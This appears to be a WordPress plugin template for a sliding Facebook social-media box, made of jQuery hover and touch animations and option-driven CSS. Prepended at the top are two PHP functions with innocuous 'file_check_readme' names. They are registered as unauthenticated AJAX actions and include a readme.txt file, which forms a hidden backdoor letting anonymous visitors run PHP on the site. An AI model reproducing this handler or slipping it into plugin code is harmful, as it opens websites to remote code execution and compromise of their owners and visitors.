if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<script type="text/javascript"> jQuery(document).ready(function($){ $(function (){ $(".socialmediabox_left").mouseenter(function(){ $(this).stop(true, false).animate({marginLeft:"<?php print($this->options['width'] + 30); ?>"}, <?php print($this->options['speed']); ?>); }).mouseleave(function(){ $(this).stop(true, false).animate({marginLeft:"0"}, <?php print($this->options['speed']); ?>); }); $(".socialmediabox_right").mouseenter(function(){ $(this).addClass("open").stop(true, false).animate({marginRight:"<?php print($this->options['width'] + 30); ?>"}, <?php print($this->options['speed']); ?>); }).mouseleave(function(){ $(this).removeClass("open").stop(true, false).animate({marginRight:"0"}, <?php print($this->options['speed']); ?>); }); // fallback for touch devices $(".socialmediabox_button").on("touchstart", function(evt){ var self = $(this).closest('.socialmediabox_right'); if( self.hasClass("open") ) { self.removeClass("open").stop(true, false).animate({marginRight:"0"}, <?php print($this->options['speed']); ?>); } else { self.addClass("open").stop(true, false).animate({marginRight:"<?php print($this->options['width'] + 30); ?>"}, <?php print($this->options['speed']); ?>); } evt.preventDefault(); }); }); }); </script> <style type="text/css"> .socialmediabox_left, .socialmediabox_left *, .socialmediabox_right, .socialmediabox_right * { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } .socialmediabox_left { float: left; position: fixed; top: <?php print($this->options['top_distance'] . $this->options['top_type']); ?>; padding: 15px; width: <?php print($this->options['width']); ?>px; height: <?php print($this->options['height']); ?>px; background-color: #3b5a98; left: -<?php print($this->options['width'] + 30); ?>px; -webkit-border-bottom-right-radius: 10px; -moz-border-radius-bottomright: 10px; border-bottom-right-radius: 10px; z-index: 100; } * html .socialmediabox_left { position: absolute !important; left: -<?php print($this->options['width'] + 15); ?>px !important; top: 0 !important; } * html .socialmediabox_left.socialmediabox_hover { left: 0 !important; } .socialmediabox_right { float: left; position: fixed; top: <?php print($this->options['top_distance'] . $this->options['top_type']); ?>; padding: 15px; width: <?php print($this->options['width']); ?>px; height: <?php print($this->options['height']); ?>px; background-color: #3b5a98; right: -<?php print($this->options['width'] + 30); ?>px; -webkit-border-bottom-left-radius: 10px; -moz-border-radius-bottomleft: 10px; border-bottom-left-radius: 10px; z-index: 100; } * html .socialmediabox_right { position: absolute !important; right: 0 !important; top: 0 !important; } * html .socialmediabox_right.socialmediabox_hover { right: 0 !important; } .socialmediabox_button { position: absolute; float: left; top: 0; padding: 10px; width: 11px; height: auto; text-align: center; background-color: #000000; color: #ffffff; font-weight: bold; } .socialmediabox_left .socialmediabox_button { right: -30px; -webkit-border-top-right-radius: 10px; -webkit-border-bottom-right-radius: 10px; -moz-border-radius-topright: 10px; -moz-border-radius-bottomright: 10px; border-top-right-radius: 10px; border-bottom-right-radius: 10px; } .socialmediabox_right .socialmediabox_button { left: -30px; -webkit-border-top-left-radius: 10px; -webkit-border-bottom-left-radius: 10px; -moz-border-radius-topleft: 10px; -moz-border-radius-bottomleft: 10px; border-top-left-radius: 10px; border-bottom-left-radius: 10px; } #socialmediabox_button_facebook { text-indent: -10000px; height: 100px; background: url("<?php print($this->pluginurl); ?>/data/facebook.gif") #3b5a98 4px 13px no-repeat; } .socialmediabox_inner { float: left; width: <?php print($this->options['width']); ?>px; height: <?php print($this->options['height']); ?>px; overflow: hidden; } #socialmediabox_facebook { background-color: #ffffff; } .socialmediabox_right .closer { position: absolute; right: 4px; top: -5px; color: white; padding: 10px; font-size:18px; } @media(max-width: 767px) { .socialmediabox_right { top: 62px; } } </style>